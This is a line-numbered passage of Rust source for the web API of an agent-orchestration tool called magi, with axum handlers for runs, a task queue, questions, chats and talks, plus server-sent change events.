1814 let superseded = superseded_runs(&ui.queue);
1815 let summaries = run_ids(&ui.runs)
1816 .into_iter()
1817 .filter_map(|id| read_run(&ui.runs, &id).ok())
1822 .take(limit)
1823 .map(|state| {
1824 let waiting = !ui.questions.open_for(&state.id).is_empty();
1825 let by = superseded.get(&state.id).cloned();
1826 let mut row = RunSummary::of(&state, waiting);
1827 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1828 row
1829 })
1830 .collect();
1831 Ok(Json(summaries))
1832 })
1833 .await
1834}
1835
1836fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1849 let mut by = HashMap::new();
1850 for task in queue.list() {
1851 for pair in task.runs.windows(2) {
1852 if let [earlier, later] = pair {
1853 by.insert(earlier.clone(), later.clone());
1854 }
1855 }
1856 }
1857 by
1858}
1859
1860#[derive(Debug, Serialize)]
1867struct RunDetailView {
1868 #[serde(flatten)]
1869 state: RunState,
1870 instruction_md: Vec<md::Node>,
1871 live: bool,
1881}
1882
1883impl RunDetailView {
1884 fn of(state: RunState, live: bool) -> Self {
1885 Self {
1886 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1887 live,
1888 state,
1889 }
1890 }
1891}
1892
1893async fn run_detail(
1894 State(ui): State<Arc<Ui>>,
1895 Path(id): Path<String>,
1896) -> ApiResult<Json<RunDetailView>> {
1897 blocking(move || {
1898 let id = resolve_run(&ui.runs, &id)?;
1899 let state = read_run(&ui.runs, &id)?;
1900 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1901 Ok(Json(RunDetailView::of(state, live)))
1902 })
1903 .await
1904}
1905
1906async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1915 let (id, unreadable) = {
1916 let ui = Arc::clone(&ui);
1917 blocking(move || {
1918 let id = resolve_run(&ui.runs, &id)?;
1919 match read_run(&ui.runs, &id) {
1920 Ok(state) => {
1921 let in_flight =
1922 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1923 state
1924 .ensure_can_delete(in_flight)
1925 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1926 let dir = ui.runs.join(&id);
1927 std::fs::remove_dir_all(&dir)
1928 .with_context(|| format!("remove run directory {}", dir.display()))?;
1929 Ok((id, false))
1930 }
1931 Err(_) => {
1932 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1936 return Err(ApiError::conflict(format!(
1937 "run {id} is being worked on by a live daemon right now"
1938 )));
1939 }
1940 Ok((id, true))
1941 }
1942 }
1943 })
1944 .await?
1945 };
1946 if unreadable {
1947 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
1948 .await
1949 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1950 }
1951 let ui = Arc::clone(&ui);
1952 let done = id.clone();
1953 blocking(move || {
1954 ui.questions.abandon_for_run(
1957 &done,
1958 &format!("run {done} was deleted, so nothing is waiting for this answer"),
1959 )?;
1960 Ok(())
1961 })
1962 .await?;
1963 Ok(StatusCode::NO_CONTENT)
1964}
1965
1966async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1990 let (id, state) = {
1991 let ui = Arc::clone(&ui);
1992 blocking(move || {
1993 let id = resolve_run(&ui.runs, &id)?;
1994 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1995 return Err(ApiError::conflict(format!(
1996 "run {id} is being worked on by a live daemon right now"
1997 )));
1998 }
1999 let state = read_run(&ui.runs, &id).ok();
2000 Ok((id, state))
2001 })
2002 .await?
2003 };
2004 let removed = match state {
2005 Some(mut state) => crate::graph::fold_run(&mut state, true)
2006 .await
2007 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2008 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2009 .await
2010 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2011 };
2012 Ok(Json(FoldView {
2013 run: id,
2014 removed_count: removed.len(),
2015 removed,
2016 }))
2017}
2018
2019#[derive(Debug, Serialize)]
2021struct FoldView {
2022 run: String,
2023 removed: Vec<String>,
2025 removed_count: usize,
2026}
2027
2028async fn run_resume(
2047 State(ui): State<Arc<Ui>>,
2048 Path(id): Path<String>,
2049) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2050 let (id, state) = {
2051 let ui = Arc::clone(&ui);
2052 blocking(move || {
2053 let id = resolve_run(&ui.runs, &id)?;
2054 let state = read_run(&ui.runs, &id)?;
2055 Ok((id, state))
2056 })
2057 .await?
2058 };
2059 if !state.status.resumable() {
2060 return Err(ApiError::conflict(format!(
2061 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2062 state.short(),
2063 status_word(state.status)
2064 )));
2065 }
2066 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
2067 return Err(ApiError::conflict(format!(
2068 "the loop is running run {} right now; magi runs one competition at \
2069 a time so the agent quota is not spent twice over. Stop the loop \
2070 first.",
2071 crate::run::short_of(&work.run)
2072 )));
2073 }
2074 let _resume = ui.begin_resume(&id)?;
2075
2076 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2079 let run = id.clone();
2080 tokio::spawn(async move {
2081 let _resume = _resume;
2082 match crate::graph::Runner::resume(&run) {
2083 Ok(mut runner) => {
2084 if let Err(e) = runner.execute().await {
2085 tracing::warn!("resume of run {run} stopped: {e:#}");
2086 }
2087 }
2088 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2091 }
2092 });
2093 Ok((StatusCode::ACCEPTED, Json(queued)))
2094}
2095
2096async fn run_report(
2097 State(ui): State<Arc<Ui>>,
2098 Path(id): Path<String>,
2099) -> ApiResult<impl IntoResponse> {
2100 let text = blocking(move || {
2101 let id = resolve_run(&ui.runs, &id)?;
2102 let state = read_run(&ui.runs, &id)?;
2106 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2107 Ok(format!(
2108 "{}{}",
2109 report::run(&state),
2110 report::active_seats(&state, live)
2111 ))
2112 })
2113 .await?;
2114 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2115}
2116
2117#[derive(Debug, Serialize)]
2123struct TaskView {
2124 #[serde(flatten)]
2125 task: Task,
2126 source_label: String,
2127 status_str: &'static str,
2128 instruction_md: Vec<md::Node>,
2132}
2133
2134impl From<Task> for TaskView {
2135 fn from(task: Task) -> Self {
2136 Self {
2137 source_label: task.source.label(),
2138 status_str: task.status.as_str(),
2139 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2140 task,
2141 }
2142 }
2143}
2144
2145#[derive(Debug, Default, Deserialize)]
2148#[serde(default)]
2149struct ReposQuery {
2150 refresh: u8,
2151}
2152
2153async fn repos_list(
2161 State(ui): State<Arc<Ui>>,
2162 Query(q): Query<ReposQuery>,
2163) -> ApiResult<Json<Vec<repos::Repo>>> {
2164 let refresh = q.refresh != 0;
2165 blocking(move || {
2166 let (cfg, _) = Config::discover(&ui.repo, None)?;
2167 Ok(Json(ui.repos_cache.list(
2168 &cfg.repos.roots,
2169 Duration::from_secs(cfg.repos.scan_ttl),
2170 refresh,
2171 )))
2172 })
2173 .await
2174}
2175
2176async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2177 blocking(move || {
2178 Ok(Json(
2179 ui.queue.list().into_iter().map(TaskView::from).collect(),
2180 ))
2181 })
2182 .await
2183}
2184
2185#[derive(Debug, Default, Deserialize)]
2188#[serde(default, deny_unknown_fields)]
2189struct HoldBody {
2190 reason: Option<String>,
2191}
2192
2193async fn queue_hold(
2194 State(ui): State<Arc<Ui>>,
2195 Path(id): Path<String>,
2196 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2197) -> ApiResult<Json<TaskView>> {
2198 let body = match body {
2202 Ok(Json(body)) => body,
2203 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2204 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2205 };
2206 let reason = body.reason.filter(|r| !r.trim().is_empty());
2207 mutate(ui, id, move |t| {
2208 t.hold(reason.clone());
2209 Ok(())
2210 })
2211 .await
2212}
2213
2214async fn queue_release(
2215 State(ui): State<Arc<Ui>>,
2216 Path(id): Path<String>,
2217) -> ApiResult<Json<TaskView>> {
2218 mutate(ui, id, |t| {
2219 t.release();
2220 Ok(())
2221 })
2222 .await
2223}
2224
2225#[derive(Debug, Deserialize)]
2227#[serde(deny_unknown_fields)]
2228struct PriorityBody {
2229 priority: i32,
2230}
2231
2232async fn queue_priority(
2238 State(ui): State<Arc<Ui>>,
2239 Path(id): Path<String>,
2240 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2241) -> ApiResult<Json<TaskView>> {
2242 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2243 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2244}
2245
2246#[derive(Debug, Deserialize)]
2248#[serde(deny_unknown_fields)]
2249struct EditBody {
2250 title: String,
2251 instruction: String,
2252}
2253
2254async fn queue_edit(
2258 State(ui): State<Arc<Ui>>,
2259 Path(id): Path<String>,
2260 body: std::result::Result<Json<EditBody>, JsonRejection>,
2261) -> ApiResult<Json<TaskView>> {
2262 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2263 mutate(ui, id, move |t| {
2264 t.edit(body.title.clone(), body.instruction.clone())
2265 })
2266 .await
2267}
2268
2269async fn queue_done(
2277 State(ui): State<Arc<Ui>>,
2278 Path(id): Path<String>,
2279) -> ApiResult<Json<TaskView>> {
2280 mutate(ui, id, |t| {
2281 t.succeed();
2282 Ok(())
2283 })
2284 .await
2285}
2286
2287async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2295 blocking(move || {
2296 let id = resolve_task(&ui.queue, &id)?;
2297 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2298 ui.queue
2299 .remove(&id, in_flight)
2300 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2301 Ok(StatusCode::NO_CONTENT)
2302 })
2303 .await
2304}
2305
2306async fn mutate(
2315 ui: Arc<Ui>,
2316 id: String,
2317 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2318) -> ApiResult<Json<TaskView>> {
2319 blocking(move || {
2320 let id = resolve_task(&ui.queue, &id)?;
2321 let _claim = ui.queue.claim(&id).map_err(|e| {
2326 ApiError::conflict(format!(
2327 "{e:#} - a daemon is running this task, so it cannot be \
2328 changed from here yet"
2329 ))
2330 })?;
2331 let mut task = ui.queue.get(&id)?;
2332 change(&mut task).map_err(ApiError::bad_request_from)?;
2333 ui.queue.put(&mut task)?;
2334 Ok(Json(TaskView::from(task)))
2335 })
2336 .await
2337}
2338
2339async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2347 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2348 tokio::spawn(async move {
2349 let mut ticker = tokio::time::interval(POLL);
2350 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2351 loop {
2352 ticker.tick().await;
2355 let state = Arc::clone(&ui);
2356 let revisions = tokio::task::spawn_blocking(move || {
2357 (
2358 state.queue.revision(),
2359 runs_revision(&state.runs),
2360 state.questions.revision(),
2361 state.chats.revision(),
2362 state.talks.revision(),
2363 state.lock_loop().rev,
2367 )
2368 })
2369 .await;
2370 let Ok(revisions) = revisions else { break };
2371 if last == Some(revisions) {
2372 continue;
2373 }
2374 last = Some(revisions);
2375 let payload = serde_json::json!({
2376 "queue_rev": revisions.0,
2377 "runs_rev": revisions.1,
2378 "questions_rev": revisions.2,
2379 "chats_rev": revisions.3,
2380 "talks_rev": revisions.4,
2381 "loop_rev": revisions.5,
2382 });
2383 let Ok(event) = Event::default().event("change").json_data(payload) else {
2385 break;
2386 };
2387 if tx.send(event).await.is_err() {
2388 break;
2389 }
2390 }
2391 });
2392 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2393 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2394}
2395
2396fn runs_revision(runs: &FsPath) -> u64 {
2403 use std::hash::{Hash as _, Hasher as _};
2404
2405 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2406 .into_iter()
2407 .flatten()
2408 .flatten()
2409 .filter_map(|e| {
2410 let path = e.path().join("run.json");
2411 let mtime = path
2412 .metadata()
2413 .ok()?
2414 .modified()
2415 .ok()?
2416 .duration_since(std::time::UNIX_EPOCH)
2417 .ok()?
2418 .as_millis() as u64;
2419 let id = e.file_name().to_string_lossy().into_owned();
2420 Some((id, mtime))
2421 })
2422 .collect();
2423
2424 if entries.is_empty() {
2425 return 0;
2426 }
2427
2428 entries.sort_unstable();
2429 let mut hasher = std::hash::DefaultHasher::new();
2430 for (id, mtime) in &entries {
2431 id.hash(&mut hasher);
2432 mtime.hash(&mut hasher);
2433 }
2434 let h = hasher.finish();
2435 if h == 0 { 1 } else { h }
2436}
2437
2438fn run_ids(runs: &FsPath) -> Vec<String> {
2444 let mut ids: Vec<String> = std::fs::read_dir(runs)
2445 .into_iter()
2446 .flatten()
2447 .flatten()
2448 .filter(|e| e.path().join("run.json").is_file())
2449 .map(|e| e.file_name().to_string_lossy().into_owned())
2450 .collect();
2451 ids.sort_unstable_by(|a, b| b.cmp(a));
2453 ids
2454}
2455
2456fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2458 let path = runs.join(id).join("run.json");
2459 let body =
2460 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2461 let state: RunState =
2462 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2463 if state.schema != run::SCHEMA {
2464 anyhow::bail!(
2465 "run {} was written by a different magi (schema {}, this build speaks {})",
2466 state.id,
2467 state.schema,
2468 run::SCHEMA
2469 );
2470 }
2471 Ok(state)
2472}
2473
2474#[must_use]
2482pub fn runs_unreadable(runs: &FsPath) -> usize {
2483 run_ids(runs)
2484 .into_iter()
2485 .filter(|id| read_run(runs, id).is_err())
2486 .count()
2487}
2488
2489fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2491 if runs.join(id).join("run.json").is_file() {
2492 return Ok(id.to_owned());
2493 }
2494 pick(run_ids(runs), id, "run")
2495}
2496
2497fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2499 if queue.path_of(id).is_file() {
2500 return Ok(id.to_owned());
2501 }
2502 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2503}
2504
2505#[derive(Debug, Serialize)]
2516struct QuestionView {
2517 #[serde(flatten)]
2518 question: Question,
2519 detail_md: Vec<md::Node>,
2520}
2521
2522impl From<Question> for QuestionView {
2523 fn from(question: Question) -> Self {
2524 let base = md::ImageBase::QuestionPanel {
2525 id: question.id.clone(),
2526 };
2527 Self {
2528 detail_md: md::to_nodes(&question.detail, &base),
2529 question,
2530 }
2531 }
2532}
2533
2534async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2540 blocking(move || {
2541 Ok(Json(
2542 ui.questions
2543 .list()
2544 .into_iter()
2545 .map(QuestionView::from)
2546 .collect(),
2547 ))
2548 })
2549 .await
2550}
2551
2552#[derive(Debug, Default, Deserialize)]
2558#[serde(default, deny_unknown_fields)]
2559struct NewAnswer {
2560 choice: Option<String>,
2561 text: Option<String>,
2562}
2563
2564async fn question_answer(
2565 State(ui): State<Arc<Ui>>,
2566 Path(id): Path<String>,
2567 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2568) -> ApiResult<Json<QuestionView>> {
2569 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2570 let answer = match (body.choice, body.text) {
2571 (Some(c), None) => Answer::Choice(c),
2572 (None, Some(t)) => Answer::Text(t),
2573 (Some(_), Some(_)) => {
2574 return Err(ApiError::bad_request(
2575 "send either `choice` or `text`, not both",
2576 ));
2577 }
2578 (None, None) => {
2579 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2580 }
2581 };
2582
2583 blocking(move || {
2584 let id = resolve_question(&ui.questions, &id)?;
2585 let mut q = ui
2586 .questions
2587 .get(&id)
2588 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2589 if !q.status.open() {
2590 return Err(ApiError::conflict(format!(
2594 "question {} is already {}",
2595 q.short(),
2596 q.status.as_str()
2597 )));
2598 }
2599 q.answer(answer).map_err(ApiError::bad_request_from)?;
2603 ui.questions.put(&mut q)?;
2604 Ok(Json(QuestionView::from(q)))
2605 })
2606 .await
2607}
2608
2609fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2611 if store.path_of(id).is_file() {
2612 return Ok(id.to_owned());
2613 }
2614 pick(
2615 store.list().into_iter().map(|q| q.id).collect(),
2616 id,
2617 "question",
2618 )
2619}
2620
2621async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2636 blocking(move || {
2637 let id = resolve_question(&ui.questions, &id)?;
2638 let Some(html) = ui.questions.panel_html(&id) else {
2639 return Err(ApiError::not_found(format!("question {id} has no panel")));
2640 };
2641 Ok(panel_response(
2642 "text/html; charset=utf-8",
2643 false,
2644 html.into_bytes(),
2645 ))
2646 })
2647 .await
2648}
2649
2650async fn question_asset(
2678 State(ui): State<Arc<Ui>>,
2679 Path((id, name)): Path<(String, String)>,
2680) -> ApiResult<Response> {
2681 if !crate::ask::valid_asset_name(&name) {
2684 return Err(ApiError::bad_request(format!(
2685 "`{name}` is not a usable asset name"
2686 )));
2687 }
2688 blocking(move || {
2689 let id = resolve_question(&ui.questions, &id)?;
2690 let asset = ui
2691 .questions
2692 .panel_asset(&id, &name)
2693 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2694 let Some(bytes) = asset else {
2695 return Err(ApiError::not_found(format!(
2696 "question {id} has no asset `{name}`"
2697 )));
2698 };
2699 Ok(panel_response(
2700 asset_content_type(&name),
2701 is_svg(&name),
2702 bytes,
2703 ))
2704 })
2705 .await
2706}
2707
2708fn asset_content_type(name: &str) -> &'static str {
2721 match extension(name).as_deref() {
2722 Some("png") => "image/png",
2723 Some("jpg" | "jpeg") => "image/jpeg",
2724 Some("gif") => "image/gif",
2725 Some("webp") => "image/webp",
2726 Some("svg") => "image/svg+xml",
2727 Some("css") => "text/css; charset=utf-8",
2728 Some("txt") => "text/plain; charset=utf-8",
2729 _ => "application/octet-stream",
2730 }
2731}
2732
2733fn is_svg(name: &str) -> bool {
2736 extension(name).as_deref() == Some("svg")
2737}
2738
2739fn extension(name: &str) -> Option<String> {
2741 name.rsplit_once('.')
2742 .map(|(_, ext)| ext.to_ascii_lowercase())
2743}
2744
2745fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2762 let mut res = (
2763 [
2764 (header::CONTENT_TYPE, content_type),
2765 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2766 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2767 (header::REFERRER_POLICY, "no-referrer"),
2768 ],
2769 body,
2770 )
2771 .into_response();
2772 if download {
2773 res.headers_mut().insert(
2774 header::CONTENT_DISPOSITION,
2775 HeaderValue::from_static("attachment"),
2776 );
2777 }
2778 res
2779}
2780
2781#[derive(Debug, Serialize)]
2790struct ChatView {
2791 #[serde(flatten)]
2792 chat: Chat,
2793 turn_bodies_md: Vec<Vec<md::Node>>,
2794 draft_md: Option<Vec<md::Node>>,
2795}
2796
2797impl From<Chat> for ChatView {
2798 fn from(chat: Chat) -> Self {
2799 let turn_bodies_md = chat
2800 .turns
2801 .iter()
2802 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2803 .collect();
2804 let draft_md = chat
2805 .draft
2806 .as_deref()
2807 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2808 Self {
2809 turn_bodies_md,
2810 draft_md,
2811 chat,
2812 }
2813 }
2814}
2815
2816async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2824 blocking(move || {
2825 Ok(Json(
2826 ui.chats.list().into_iter().map(ChatView::from).collect(),
2827 ))
2828 })
2829 .await
2830}
2831
2832async fn chat_detail(
2833 State(ui): State<Arc<Ui>>,
2834 Path(id): Path<String>,
2835) -> ApiResult<Json<ChatView>> {
2836 blocking(move || {
2837 let id = resolve_chat(&ui.chats, &id)?;
2838 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2839 })
2840 .await
2841}
2842
2843#[derive(Debug, Default, Deserialize)]
2854#[serde(default)]
2855struct NewChat {
2856 idea: String,
2857 agent: Option<String>,
2858 repo: Option<PathBuf>,
2859 from: Option<String>,
2860}
2861
2862async fn chat_post(
2871 State(ui): State<Arc<Ui>>,
2872 body: std::result::Result<Json<NewChat>, JsonRejection>,
2873) -> ApiResult<impl IntoResponse> {
2874 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2875 if body.idea.trim().is_empty() {
2876 return Err(ApiError::bad_request(
2877 "an interview needs something to interview about",
2878 ));
2879 }
2880
2881 let from = {
2885 let ui = Arc::clone(&ui);
2886 let from_id = body.from.clone();
2887 blocking(move || match from_id {
2888 None => Ok(None),
2889 Some(id) => {
2890 let resolved = resolve_chat(&ui.chats, &id)?;
2891 Ok(Some(ui.chats.get(&resolved)?))
2892 }
2893 })
2894 .await?
2895 };
2896
2897 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2901 let cfg = config_for(&repo).await?;
2902 let chat = chat::start(
2903 &ui.chats,
2904 &cfg,
2905 repo,
2906 &body.idea,
2907 body.agent.as_deref(),
2908 from.as_ref(),
2909 )
2910 .await
2911 .map_err(ApiError::from)?;
2912 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2913}
2914
2915#[derive(Debug, Default, Deserialize)]
2917#[serde(default, deny_unknown_fields)]
2918struct NewTurn {
2919 text: String,
2920}
2921
2922async fn chat_say(
2948 State(ui): State<Arc<Ui>>,
2949 Path(id): Path<String>,
2950 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2951) -> ApiResult<(StatusCode, Json<ChatView>)> {
2952 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2953 if body.text.trim().is_empty() {
2954 return Err(ApiError::bad_request("say something"));
2955 }
2956
2957 let id = {
2958 let ui = Arc::clone(&ui);
2959 let asked = id.clone();
2960 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2961 };
2962 let _turn = ui.begin_turn(&id)?;
2966
2967 let (chat, cfg) = {
2968 let ui = Arc::clone(&ui);
2969 let id = id.clone();
2970 blocking(move || {
2971 let chat = ui.chats.get(&id)?;
2972 let (cfg, _) = Config::discover(&chat.repo, None)?;
2973 Ok((chat, cfg))
2974 })
2975 .await?
2976 };
2977
2978 let chats = ui.chats.clone();
2993 let text = {
2994 let mut chat = chat.clone();
2995 let chats = chats.clone();
2996 let said = body.text.clone();
2997 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2998 };
2999 let mut chat = {
3002 let ui = Arc::clone(&ui);
3003 let id = id.clone();
3004 blocking(move || Ok(ui.chats.get(&id)?)).await?
3005 };
3006 let queued = chat.clone();
3007 tokio::spawn(async move {
3008 let _turn = _turn;
3009 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3010 tracing::warn!("chat {id} turn failed: {e:#}");
3013 }
3014 });
3015
3016 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
3020}
3021
3022#[derive(Debug, Default, Deserialize)]
3024#[serde(default, deny_unknown_fields)]
3025struct FileDraft {
3026 priority: i32,
3027}
3028
3029async fn chat_file(
3036 State(ui): State<Arc<Ui>>,
3037 Path(id): Path<String>,
3038 body: std::result::Result<Json<FileDraft>, JsonRejection>,
3039) -> ApiResult<Json<serde_json::Value>> {
3040 let body = match body {
3045 Ok(Json(body)) => body,
3046 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3047 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3048 };
3049
3050 blocking(move || {
3051 let id = resolve_chat(&ui.chats, &id)?;
3052 let mut chat = ui.chats.get(&id)?;
3053 if let Err(problems) = chat::draft_problems(&chat) {
3058 return Err(ApiError::bad_request_with(
3059 "the draft is not fileable yet",
3060 problems,
3061 ));
3062 }
3063 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3064 Ok(Json(serde_json::json!({ "task": task })))
3065 })
3066 .await
3067}
3068
3069fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3071 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3072}
3073
3074#[derive(Debug, Serialize)]
3080struct TalkView {
3081 #[serde(flatten)]
3082 talk: Talk,
3083 turn_bodies_md: Vec<Vec<md::Node>>,
3084}
3085
3086impl From<Talk> for TalkView {
3087 fn from(talk: Talk) -> Self {
3088 let turn_bodies_md = talk
3089 .turns
3090 .iter()
3091 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3092 .collect();
3093 Self {
3094 turn_bodies_md,
3095 talk,
3096 }
3097 }
3098}
3099
3100#[derive(Debug, Serialize)]
3105struct TalkDetailView {
3106 #[serde(flatten)]
3107 view: TalkView,
3108 tasks: Vec<TaskView>,
3109}
3110
3111async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3116 blocking(move || {
3117 Ok(Json(
3118 ui.talks.list().into_iter().map(TalkView::from).collect(),
3119 ))
3120 })
3121 .await
3122}
3123
3124#[derive(Debug, Default, Deserialize)]
3130#[serde(default)]
3131struct NewTalk {
3132 agent: Option<String>,
3133 repo: Option<PathBuf>,
3134}
3135
3136async fn talk_post(
3139 State(ui): State<Arc<Ui>>,
3140 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3141) -> ApiResult<impl IntoResponse> {
3142 let body = match body {
3146 Ok(Json(body)) => body,
3147 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3148 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3149 };
3150 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3151 let cfg = config_for(&repo).await?;
3152 let view = blocking(move || {
3153 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3154 Ok(TalkView::from(talk))
3155 })
3156 .await?;
3157 Ok((StatusCode::CREATED, Json(view)))
3158}
3159
3160async fn talk_detail(
3162 State(ui): State<Arc<Ui>>,
3163 Path(id): Path<String>,
3164) -> ApiResult<Json<TalkDetailView>> {
3165 blocking(move || {
3166 let id = resolve_talk(&ui.talks, &id)?;
3167 let talk = ui.talks.get(&id)?;
3168 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3169 .into_iter()
3170 .map(TaskView::from)
3171 .collect();
3172 Ok(Json(TalkDetailView {
3173 view: TalkView::from(talk),
3174 tasks,
3175 }))
3176 })
3177 .await
3178}
3179
3180#[derive(Debug, Default, Deserialize)]
3182#[serde(default, deny_unknown_fields)]
3183struct NewTalkTurn {
3184 text: String,
3185}
3186
3187async fn talk_say(
3199 State(ui): State<Arc<Ui>>,
3200 Path(id): Path<String>,
3201 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3202) -> ApiResult<(StatusCode, Json<TalkView>)> {
3203 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3204 if body.text.trim().is_empty() {
3205 return Err(ApiError::bad_request("say something"));
3206 }
3207
3208 let id = {
3209 let ui = Arc::clone(&ui);
3210 let asked = id.clone();
3211 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3212 };
3213 let _turn = ui.begin_talk_turn(&id)?;
3217
3218 let (talk, cfg) = {
3219 let ui = Arc::clone(&ui);
3220 let id = id.clone();
3221 blocking(move || {
3222 let talk = ui.talks.get(&id)?;
3223 let (cfg, _) = Config::discover(&talk.repo, None)?;
3224 Ok((talk, cfg))
3225 })
3226 .await?
3227 };
3228
3229 let talks = ui.talks.clone();
3230 let text = {
3231 let mut talk = talk.clone();
3232 let talks = talks.clone();
3233 let said = body.text.clone();
3234 blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3235 };
3236 let talk = {
3239 let ui = Arc::clone(&ui);
3240 let id = id.clone();
3241 blocking(move || Ok(ui.talks.get(&id)?)).await?
3242 };
3243 let queued = talk.clone();
3244 tokio::spawn(async move {
3245 let _turn = _turn;
3246 let mut talk = talk;
3247 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3248 tracing::warn!("talk {id} turn failed: {e:#}");
3251 }
3252 });
3253
3254 Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3256}
3257
3258async fn talk_close(
3260 State(ui): State<Arc<Ui>>,
3261 Path(id): Path<String>,
3262) -> ApiResult<Json<TalkView>> {
3263 blocking(move || {
3264 let id = resolve_talk(&ui.talks, &id)?;
3265 let mut talk = ui.talks.get(&id)?;
3266 talk::close(&mut talk, &ui.talks)?;
3267 Ok(Json(TalkView::from(talk)))
3268 })
3269 .await
3270}
3271
3272fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3274 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3275}
3276
3277async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3285 let repo = repo.to_path_buf();
3286 blocking(move || {
3287 let (cfg, _) = Config::discover(&repo, None)?;
3288 Ok(cfg)
3289 })
3290 .await
3291}
3292
3293fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
